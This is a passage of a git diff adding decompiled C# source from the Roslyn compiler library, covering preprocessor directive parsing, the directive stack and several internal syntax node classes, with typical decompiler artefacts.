MessageID.IDS_FeatureNullableReferenceTypes); + } + SyntaxToken syntaxToken = base.CurrentToken.Kind switch + { + SyntaxKind.EnableKeyword => EatToken(), + SyntaxKind.DisableKeyword => EatToken(), + SyntaxKind.RestoreKeyword => EatToken(), + _ => EatToken(SyntaxKind.DisableKeyword, ErrorCode.ERR_NullableDirectiveQualifierExpected, isActive), + }; + SyntaxToken syntaxToken2 = base.CurrentToken.Kind switch + { + SyntaxKind.WarningsKeyword => EatToken(), + SyntaxKind.AnnotationsKeyword => EatToken(), + SyntaxKind.EndOfDirectiveToken => null, + SyntaxKind.EndOfFileToken => null, + _ => EatToken(SyntaxKind.WarningsKeyword, ErrorCode.ERR_NullableDirectiveTargetExpected, !((GreenNode)syntaxToken).IsMissing && isActive), + }; + SyntaxToken endOfDirectiveToken = ParseEndOfDirective(((GreenNode)syntaxToken).IsMissing || (syntaxToken2 != null && ((GreenNode)syntaxToken2).IsMissing) || !isActive); + return SyntaxFactory.NullableDirectiveTrivia(hash, token, syntaxToken, syntaxToken2, endOfDirectiveToken, isActive); + } + + private DirectiveTriviaSyntax ParsePragmaDirective(SyntaxToken hash, SyntaxToken pragma, bool isActive) + { + //IL_0300: Unknown result type (might be due to invalid IL or missing references) + //IL_0306: Unknown result type (might be due to invalid IL or missing references) + //IL_0179: Unknown result type (might be due to invalid IL or missing references) + //IL_017f: Unknown result type (might be due to invalid IL or missing references) + //IL_0148: Unknown result type (might be due to invalid IL or missing references) + //IL_00f4: Unknown result type (might be due to invalid IL or missing references) + if (isActive) + { + pragma = CheckFeatureAvailability(pragma, MessageID.IDS_FeaturePragma); + } + bool flag = false; + if (base.CurrentToken.ContextualKind == SyntaxKind.WarningKeyword) + { + SyntaxToken warningKeyword = EatContextualToken(SyntaxKind.WarningKeyword); + SyntaxToken disableOrRestoreKeyword; + if (base.CurrentToken.Kind == SyntaxKind.DisableKeyword || base.CurrentToken.Kind == SyntaxKind.RestoreKeyword) + { + disableOrRestoreKeyword = EatToken(); + SeparatedSyntaxListBuilder val = default(SeparatedSyntaxListBuilder); + val._002Ector(10); + while (base.CurrentToken.Kind != SyntaxKind.EndOfDirectiveToken) + { + SyntaxToken syntaxToken; + ExpressionSyntax expressionSyntax; + if (base.CurrentToken.Kind == SyntaxKind.NumericLiteralToken) + { + syntaxToken = EatToken(); + expressionSyntax = SyntaxFactory.LiteralExpression(SyntaxKind.NumericLiteralExpression, syntaxToken); + } + else if (base.CurrentToken.Kind == SyntaxKind.IdentifierToken) + { + syntaxToken = EatToken(); + expressionSyntax = SyntaxFactory.IdentifierName(syntaxToken); + } + else + { + syntaxToken = EatToken(SyntaxKind.NumericLiteralToken, ErrorCode.WRN_IdentifierOrNumericLiteralExpected, isActive); + expressionSyntax = SyntaxFactory.LiteralExpression(SyntaxKind.NumericLiteralExpression, syntaxToken); + } + flag = flag || ((GreenNode)syntaxToken).ContainsDiagnostics; + val.Add(expressionSyntax); + if (base.CurrentToken.Kind != SyntaxKind.CommaToken) + { + break; + } + val.AddSeparator((GreenNode)(object)EatToken()); + } + SyntaxToken endOfDirectiveToken = ParseEndOfDirective(flag || !isActive, afterPragma: true); + return SyntaxFactory.PragmaWarningDirectiveTrivia(hash, pragma, warningKeyword, disableOrRestoreKeyword, val.ToList(), endOfDirectiveToken, isActive); + } + disableOrRestoreKeyword = EatToken(SyntaxKind.DisableKeyword, ErrorCode.WRN_IllegalPPWarning, isActive); + SyntaxToken endOfDirectiveToken2 = ParseEndOfDirective(ignoreErrors: true, afterPragma: true); + return SyntaxFactory.PragmaWarningDirectiveTrivia(hash, pragma, warningKeyword, disableOrRestoreKeyword, default(SeparatedSyntaxList), endOfDirectiveToken2, isActive); + } + if (base.CurrentToken.Kind == SyntaxKind.ChecksumKeyword) + { + SyntaxToken checksumKeyword = EatToken(); + SyntaxToken syntaxToken2 = EatToken(SyntaxKind.StringLiteralToken, ErrorCode.WRN_IllegalPPChecksum, isActive); + SyntaxToken syntaxToken3 = EatToken(SyntaxKind.StringLiteralToken, ErrorCode.WRN_IllegalPPChecksum, isActive && !((GreenNode)syntaxToken2).IsMissing); + if (isActive && !((GreenNode)syntaxToken3).IsMissing && !Guid.TryParse(syntaxToken3.ValueText, out var _)) + { + syntaxToken3 = AddError(syntaxToken3, ErrorCode.WRN_IllegalPPChecksum); + } + SyntaxToken syntaxToken4 = EatToken(SyntaxKind.StringLiteralToken, ErrorCode.WRN_IllegalPPChecksum, isActive && !((GreenNode)syntaxToken3).IsMissing); + if (isActive && !((GreenNode)syntaxToken4).IsMissing) + { + if (syntaxToken4.ValueText.Length % 2 != 0) + { + syntaxToken4 = AddError(syntaxToken4, ErrorCode.WRN_IllegalPPChecksum); + } + else + { + string valueText = syntaxToken4.ValueText; + for (int i = 0; i < valueText.Length; i++) + { + if (!SyntaxFacts.IsHexDigit(valueText[i])) + { + syntaxToken4 = AddError(syntaxToken4, ErrorCode.WRN_IllegalPPChecksum); + break; + } + } + } + } + flag = ((GreenNode)syntaxToken2).ContainsDiagnostics | ((GreenNode)syntaxToken3).ContainsDiagnostics | ((GreenNode)syntaxToken4).ContainsDiagnostics; + SyntaxToken endOfDirectiveToken3 = ParseEndOfDirective(flag, afterPragma: true); + return SyntaxFactory.PragmaChecksumDirectiveTrivia(hash, pragma, checksumKeyword, syntaxToken2, syntaxToken3, syntaxToken4, endOfDirectiveToken3, isActive); + } + SyntaxToken warningKeyword2 = EatToken(SyntaxKind.WarningKeyword, ErrorCode.WRN_IllegalPragma, isActive); + SyntaxToken disableOrRestoreKeyword2 = EatToken(SyntaxKind.DisableKeyword, reportError: false); + SyntaxToken endOfDirectiveToken4 = ParseEndOfDirective(ignoreErrors: true, afterPragma: true); + return SyntaxFactory.PragmaWarningDirectiveTrivia(hash, pragma, warningKeyword2, disableOrRestoreKeyword2, default(SeparatedSyntaxList), endOfDirectiveToken4, isActive); + } + + private DirectiveTriviaSyntax ParseShebangDirective(SyntaxToken hash, SyntaxToken exclamation, bool isActive) + { + return SyntaxFactory.ShebangDirectiveTrivia(hash, exclamation, ParseEndOfDirectiveWithOptionalPreprocessingMessage(), isActive); + } + + private SyntaxToken ParseEndOfDirectiveWithOptionalPreprocessingMessage() + { + return lexer.LexEndOfDirectiveWithOptionalPreprocessingMessage(); + } + + private SyntaxToken ParseEndOfDirective(bool ignoreErrors, bool afterPragma = false, bool afterLineNumber = false) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_00d9: Unknown result type (might be due to invalid IL or missing references) + //IL_007e: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + SyntaxListBuilder val = default(SyntaxListBuilder); + if (base.CurrentToken.Kind != SyntaxKind.EndOfDirectiveToken && base.CurrentToken.Kind != SyntaxKind.EndOfFileToken) + { + val._002Ector(10); + if (!ignoreErrors) + { + ErrorCode code = ErrorCode.ERR_EndOfPPLineExpected; + if (afterPragma) + { + code = ErrorCode.WRN_EndOfPPLineExpected; + } + else if (afterLineNumber) + { + code = ErrorCode.ERR_MissingPPFile; + } + val.Add(AddError(GreenNodeExtensions.WithoutDiagnosticsGreen(EatToken()), code)); + } + while (base.CurrentToken.Kind != SyntaxKind.EndOfDirectiveToken && base.CurrentToken.Kind != SyntaxKind.EndOfFileToken) + { + val.Add(GreenNodeExtensions.WithoutDiagnosticsGreen(EatToken())); + } + } + SyntaxToken syntaxToken = ((base.CurrentToken.Kind == SyntaxKind.EndOfDirectiveToken) ? EatToken() : SyntaxFactory.Token(SyntaxKind.EndOfDirectiveToken)); + if (!val.IsNull) + { + syntaxToken = syntaxToken.TokenWithLeadingTrivia((GreenNode)(object)SyntaxFactory.SkippedTokensTrivia(val.ToList())); + } + return syntaxToken; + } + + private ExpressionSyntax ParseExpression() + { + return ParseLogicalOr(); + } + + private ExpressionSyntax ParseLogicalOr() + { + ExpressionSyntax expressionSyntax = ParseLogicalAnd(); + while (base.CurrentToken.Kind == SyntaxKind.BarBarToken) + { + SyntaxToken operatorToken = EatToken(); + ExpressionSyntax right = ParseLogicalAnd(); + expressionSyntax = SyntaxFactory.BinaryExpression(SyntaxKind.LogicalOrExpression, expressionSyntax, operatorToken, right); + } + return expressionSyntax; + } + + private ExpressionSyntax ParseLogicalAnd() + { + ExpressionSyntax expressionSyntax = ParseEquality(); + while (base.CurrentToken.Kind == SyntaxKind.AmpersandAmpersandToken) + { + SyntaxToken operatorToken = EatToken(); + ExpressionSyntax right = ParseEquality(); + expressionSyntax = SyntaxFactory.BinaryExpression(SyntaxKind.LogicalAndExpression, expressionSyntax, operatorToken, right); + } + return expressionSyntax; + } + + private ExpressionSyntax ParseEquality() + { + ExpressionSyntax expressionSyntax = ParseLogicalNot(); + while (base.CurrentToken.Kind == SyntaxKind.EqualsEqualsToken || base.CurrentToken.Kind == SyntaxKind.ExclamationEqualsToken) + { + SyntaxToken syntaxToken = EatToken(); + ExpressionSyntax right = ParseEquality(); + expressionSyntax = SyntaxFactory.BinaryExpression(SyntaxFacts.GetBinaryExpression(syntaxToken.Kind), expressionSyntax, syntaxToken, right); + } + return expressionSyntax; + } + + private ExpressionSyntax ParseLogicalNot() + { + if (base.CurrentToken.Kind == SyntaxKind.ExclamationToken) + { + SyntaxToken operatorToken = EatToken(); + return SyntaxFactory.PrefixUnaryExpression(SyntaxKind.LogicalNotExpression, operatorToken, ParseLogicalNot()); + } + return ParsePrimary(); + } + + private ExpressionSyntax ParsePrimary() + { + SyntaxKind kind = base.CurrentToken.Kind; + switch (kind) + { + case SyntaxKind.OpenParenToken: + { + SyntaxToken openParenToken = EatToken(); + ExpressionSyntax expression = ParseExpression(); + SyntaxToken closeParenToken = EatToken(SyntaxKind.CloseParenToken); + return SyntaxFactory.ParenthesizedExpression(openParenToken, expression, closeParenToken); + } + case SyntaxKind.IdentifierToken: + return SyntaxFactory.IdentifierName(TruncateIdentifier(EatToken())); + case SyntaxKind.TrueKeyword: + case SyntaxKind.FalseKeyword: + return SyntaxFactory.LiteralExpression(SyntaxFacts.GetLiteralExpression(kind), EatToken()); + default: + return SyntaxFactory.IdentifierName(EatToken(SyntaxKind.IdentifierToken, ErrorCode.ERR_InvalidPreprocExpr)); + } + } + + private static SyntaxToken TruncateIdentifier(SyntaxToken identifier) + { + if (((GreenNode)identifier).Width > 128) + { + GreenNode leadingTrivia = identifier.GetLeadingTrivia(); + GreenNode trailingTrivia = identifier.GetTrailingTrivia(); + string text = ((object)identifier).ToString(); + string valueText = text.Substring(0, 128); + identifier = SyntaxFactory.Identifier(SyntaxKind.IdentifierToken, leadingTrivia, text, valueText, trailingTrivia); + } + return identifier; + } + + private bool EvaluateBool(ExpressionSyntax expr) + { + object obj = Evaluate(expr); + if (obj is bool) + { + return (bool)obj; + } + return false; + } + + private object Evaluate(ExpressionSyntax expr) + { + switch (expr.Kind) + { + case SyntaxKind.ParenthesizedExpression: + return Evaluate(((ParenthesizedExpressionSyntax)expr).Expression); + case SyntaxKind.TrueLiteralExpression: + case SyntaxKind.FalseLiteralExpression: + return ((LiteralExpressionSyntax)expr).Token.Value; + case SyntaxKind.LogicalAndExpression: + case SyntaxKind.BitwiseAndExpression: + return EvaluateBool(((BinaryExpressionSyntax)expr).Left) && EvaluateBool(((BinaryExpressionSyntax)expr).Right); + case SyntaxKind.LogicalOrExpression: + case SyntaxKind.BitwiseOrExpression: + return EvaluateBool(((BinaryExpressionSyntax)expr).Left) || EvaluateBool(((BinaryExpressionSyntax)expr).Right); + case SyntaxKind.EqualsExpression: + return object.Equals(Evaluate(((BinaryExpressionSyntax)expr).Left), Evaluate(((BinaryExpressionSyntax)expr).Right)); + case SyntaxKind.NotEqualsExpression: + return !object.Equals(Evaluate(((BinaryExpressionSyntax)expr).Left), Evaluate(((BinaryExpressionSyntax)expr).Right)); + case SyntaxKind.LogicalNotExpression: + return !EvaluateBool(((PrefixUnaryExpressionSyntax)expr).Operand); + case SyntaxKind.IdentifierName: + { + string valueText = ((IdentifierNameSyntax)expr).Identifier.ValueText; + if (bool.TryParse(valueText, out var result)) + { + return result; + } + return IsDefined(valueText); + } + default: + return false; + } + } + + private bool IsDefined(string id) + { + return _context.IsDefined(id) switch + { + DefineState.Defined => true, + DefineState.Undefined => false, + _ => base.Options.PreprocessorSymbols.Contains(id), + }; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DirectiveStack.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DirectiveStack.cs new file mode 100644 index 0000000..ef6a9df --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DirectiveStack.cs @@ -0,0 +1,281 @@ +using System.Diagnostics; +using System.Runtime.CompilerServices; +using System.Text; +using System.Threading; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +[DebuggerDisplay("{GetDebuggerDisplay(), nq}")] +internal readonly struct DirectiveStack +{ + public static readonly DirectiveStack Empty = new DirectiveStack(ConsList.Empty); + + private readonly ConsList? _directives; + + public bool IsNull => _directives == null; + + public bool IsEmpty => _directives == ConsList.Empty; + + private DirectiveStack(ConsList? directives) + { + _directives = directives; + } + + public static void InterlockedInitialize(ref DirectiveStack location, DirectiveStack value) + { + Interlocked.CompareExchange(ref Unsafe.AsRef(in location._directives), value._directives, null); + } + + public DefineState IsDefined(string id) + { + for (ConsList val = _directives; val != null && val.Any(); val = val.Tail) + { + switch (val.Head.Kind) + { + case SyntaxKind.DefineDirectiveTrivia: + if (!(val.Head.GetIdentifier() == id)) + { + continue; + } + return DefineState.Defined; + case SyntaxKind.UndefDirectiveTrivia: + if (!(val.Head.GetIdentifier() == id)) + { + continue; + } + return DefineState.Undefined; + case SyntaxKind.ElifDirectiveTrivia: + case SyntaxKind.ElseDirectiveTrivia: + break; + default: + continue; + } + do + { + val = val.Tail; + if (val == null || !val.Any()) + { + return DefineState.Unspecified; + } + } + while (val.Head.Kind != SyntaxKind.IfDirectiveTrivia); + } + return DefineState.Unspecified; + } + + public bool PreviousBranchTaken() + { + ConsList val = _directives; + while (val != null && val.Any()) + { + if (val.Head.BranchTaken) + { + return true; + } + if (val.Head.Kind == SyntaxKind.IfDirectiveTrivia) + { + return false; + } + val = val.Tail; + } + return false; + } + + public bool HasUnfinishedIf() + { + ConsList previousIfElifElseOrRegion = GetPreviousIfElifElseOrRegion(_directives); + if (previousIfElifElseOrRegion != null && previousIfElifElseOrRegion.Any()) + { + return previousIfElifElseOrRegion.Head.Kind != SyntaxKind.RegionDirectiveTrivia; + } + return false; + } + + public bool HasPreviousIfOrElif() + { + ConsList previousIfElifElseOrRegion = GetPreviousIfElifElseOrRegion(_directives); + if (previousIfElifElseOrRegion != null && previousIfElifElseOrRegion.Any()) + { + if (previousIfElifElseOrRegion.Head.Kind != SyntaxKind.IfDirectiveTrivia) + { + return previousIfElifElseOrRegion.Head.Kind == SyntaxKind.ElifDirectiveTrivia; + } + return true; + } + return false; + } + + public bool HasUnfinishedRegion() + { + ConsList previousIfElifElseOrRegion = GetPreviousIfElifElseOrRegion(_directives); + if (previousIfElifElseOrRegion != null && previousIfElifElseOrRegion.Any()) + { + return previousIfElifElseOrRegion.Head.Kind == SyntaxKind.RegionDirectiveTrivia; + } + return false; + } + + public DirectiveStack Add(Directive directive) + { + switch (directive.Kind) + { + case SyntaxKind.EndIfDirectiveTrivia: + { + ConsList previousIf = GetPreviousIf(_directives); + bool include; + if (previousIf != null && previousIf.Any()) + { + return new DirectiveStack(CompleteIf(_directives, out include)); + } + break; + } + case SyntaxKind.EndRegionDirectiveTrivia: + { + ConsList previousRegion = GetPreviousRegion(_directives); + if (previousRegion != null && previousRegion.Any()) + { + return new DirectiveStack(CompleteRegion(_directives)); + } + break; + } + } + return new DirectiveStack(new ConsList(directive, _directives ?? ConsList.Empty)); + } + + private static ConsList CompleteIf(ConsList stack, out bool include) + { + if (!stack.Any()) + { + include = true; + return stack; + } + if (stack.Head.Kind == SyntaxKind.IfDirectiveTrivia) + { + include = stack.Head.BranchTaken; + return stack.Tail; + } + ConsList val = CompleteIf(stack.Tail, out include); + SyntaxKind kind = stack.Head.Kind; + if (kind - 8549 <= SyntaxKind.List) + { + include = stack.Head.BranchTaken; + } + else if (include) + { + val = new ConsList(stack.Head, val); + } + return val; + } + + private static ConsList CompleteRegion(ConsList stack) + { + if (!stack.Any()) + { + return stack; + } + if (stack.Head.Kind == SyntaxKind.RegionDirectiveTrivia) + { + return stack.Tail; + } + ConsList val = CompleteRegion(stack.Tail); + return new ConsList(stack.Head, val); + } + + private static ConsList? GetPreviousIf(ConsList? directives) + { + ConsList val = directives; + while (val != null && val.Any()) + { + if (val.Head.Kind == SyntaxKind.IfDirectiveTrivia) + { + return val; + } + val = val.Tail; + } + return val; + } + + private static ConsList? GetPreviousIfElifElseOrRegion(ConsList? directives) + { + ConsList val = directives; + while (val != null && val.Any()) + { + SyntaxKind kind = val.Head.Kind; + if (kind - 8548 <= (SyntaxKind)2 || kind == SyntaxKind.RegionDirectiveTrivia) + { + return val; + } + val = val.Tail; + } + return val; + } + + private static ConsList? GetPreviousRegion(ConsList? directives) + { + ConsList val = directives; + while (val != null && val.Any() && val.Head.Kind != SyntaxKind.RegionDirectiveTrivia) + { + val = val.Tail; + } + return val; + } + + internal string GetDebuggerDisplay() + { + if (IsNull) + { + return ""; + } + if (IsEmpty) + { + return "[]"; + } + StringBuilder stringBuilder = new StringBuilder(); + ConsList val = _directives; + while (val != null && val.Any()) + { + if (stringBuilder.Length > 0) + { + stringBuilder.Insert(0, " | "); + } + stringBuilder.Insert(0, val.Head.GetDebuggerDisplay()); + val = val.Tail; + } + return stringBuilder.ToString(); + } + + public bool IncrementallyEquivalent(DirectiveStack other) + { + ConsList val = SkipInsignificantDirectives(_directives); + ConsList val2 = SkipInsignificantDirectives(other._directives); + bool flag = val?.Any() ?? false; + bool flag2 = val2?.Any() ?? false; + while (flag && flag2) + { + if (!val.Head.IncrementallyEquivalent(val2.Head)) + { + return false; + } + val = SkipInsignificantDirectives(val.Tail); + val2 = SkipInsignificantDirectives(val2.Tail); + flag = val?.Any() ?? false; + flag2 = val2?.Any() ?? false; + } + return flag == flag2; + } + + private static ConsList? SkipInsignificantDirectives(ConsList? directives) + { + while (directives != null && directives.Any()) + { + SyntaxKind kind = directives.Head.Kind; + if (kind - 8548 <= (SyntaxKind)7) + { + return directives; + } + directives = directives.Tail; + } + return directives; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DirectiveTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DirectiveTriviaSyntax.cs new file mode 100644 index 0000000..a47c9eb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DirectiveTriviaSyntax.cs @@ -0,0 +1,46 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal abstract class DirectiveTriviaSyntax : StructuredTriviaSyntax +{ + public sealed override bool IsDirective => true; + + public abstract SyntaxToken HashToken { get; } + + public abstract SyntaxToken EndOfDirectiveToken { get; } + + public abstract bool IsActive { get; } + + internal override DirectiveStack ApplyDirectives(DirectiveStack stack) + { + return stack.Add(new Directive(this)); + } + + internal DirectiveTriviaSyntax(SyntaxKind kind, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + ((GreenNode)this).flags = (NodeFlags)(((GreenNode)this).flags | 4); + } + + internal DirectiveTriviaSyntax(SyntaxKind kind) + : base(kind) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + ((GreenNode)this).flags = (NodeFlags)(((GreenNode)this).flags | 4); + } + + protected DirectiveTriviaSyntax(ObjectReader reader) + : base(reader) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + ((GreenNode)this).flags = (NodeFlags)(((GreenNode)this).flags | 4); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DiscardDesignationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DiscardDesignationSyntax.cs new file mode 100644 index 0000000..68cd302 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DiscardDesignationSyntax.cs @@ -0,0 +1,111 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class DiscardDesignationSyntax : VariableDesignationSyntax +{ + internal readonly SyntaxToken underscoreToken; + + public SyntaxToken UnderscoreToken => underscoreToken; + + internal DiscardDesignationSyntax(SyntaxKind kind, SyntaxToken underscoreToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)underscoreToken); + this.underscoreToken = underscoreToken; + } + + internal DiscardDesignationSyntax(SyntaxKind kind, SyntaxToken underscoreToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)underscoreToken); + this.underscoreToken = underscoreToken; + } + + internal DiscardDesignationSyntax(SyntaxKind kind, SyntaxToken underscoreToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)underscoreToken); + this.underscoreToken = underscoreToken; + } + + internal override GreenNode? GetSlot(int index) + { + if (index != 0) + { + return null; + } + return (GreenNode?)(object)underscoreToken; + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.DiscardDesignationSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitDiscardDesignation(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitDiscardDesignation(this); + } + + public DiscardDesignationSyntax Update(SyntaxToken underscoreToken) + { + if (underscoreToken != UnderscoreToken) + { + DiscardDesignationSyntax discardDesignationSyntax = SyntaxFactory.DiscardDesignation(underscoreToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + discardDesignationSyntax = GreenNodeExtensions.WithDiagnosticsGreen(discardDesignationSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + discardDesignationSyntax = GreenNodeExtensions.WithAnnotationsGreen(discardDesignationSyntax, (IEnumerable)annotations); + } + return discardDesignationSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new DiscardDesignationSyntax(base.Kind, underscoreToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new DiscardDesignationSyntax(base.Kind, underscoreToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal DiscardDesignationSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 1; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + underscoreToken = syntaxToken; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)underscoreToken); + } + + static DiscardDesignationSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(DiscardDesignationSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new DiscardDesignationSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DiscardPatternSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DiscardPatternSyntax.cs new file mode 100644 index 0000000..6bc42c6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DiscardPatternSyntax.cs @@ -0,0 +1,111 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class DiscardPatternSyntax : PatternSyntax +{ + internal readonly SyntaxToken underscoreToken; + + public SyntaxToken UnderscoreToken => underscoreToken; + + internal DiscardPatternSyntax(SyntaxKind kind, SyntaxToken underscoreToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)underscoreToken); + this.underscoreToken = underscoreToken; + } + + internal DiscardPatternSyntax(SyntaxKind kind, SyntaxToken underscoreToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)underscoreToken); + this.underscoreToken = underscoreToken; + } + + internal DiscardPatternSyntax(SyntaxKind kind, SyntaxToken underscoreToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)underscoreToken); + this.underscoreToken = underscoreToken; + } + + internal override GreenNode? GetSlot(int index) + { + if (index != 0) + { + return null; + } + return (GreenNode?)(object)underscoreToken; + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.DiscardPatternSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitDiscardPattern(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitDiscardPattern(this); + } + + public DiscardPatternSyntax Update(SyntaxToken underscoreToken) + { + if (underscoreToken != UnderscoreToken) + { + DiscardPatternSyntax discardPatternSyntax = SyntaxFactory.DiscardPattern(underscoreToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + discardPatternSyntax = GreenNodeExtensions.WithDiagnosticsGreen(discardPatternSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + discardPatternSyntax = GreenNodeExtensions.WithAnnotationsGreen(discardPatternSyntax, (IEnumerable)annotations); + } + return discardPatternSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new DiscardPatternSyntax(base.Kind, underscoreToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new DiscardPatternSyntax(base.Kind, underscoreToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal DiscardPatternSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 1; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + underscoreToken = syntaxToken; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)underscoreToken); + } + + static DiscardPatternSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(DiscardPatternSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new DiscardPatternSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DoStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DoStatementSyntax.cs new file mode 100644 index 0000000..4c1fddd --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DoStatementSyntax.cs @@ -0,0 +1,234 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class DoStatementSyntax : StatementSyntax +{ + internal readonly GreenNode? attributeLists; + + internal readonly SyntaxToken doKeyword; + + internal readonly StatementSyntax statement; + + internal readonly SyntaxToken whileKeyword; + + internal readonly SyntaxToken openParenToken; + + internal readonly ExpressionSyntax condition; + + internal readonly SyntaxToken 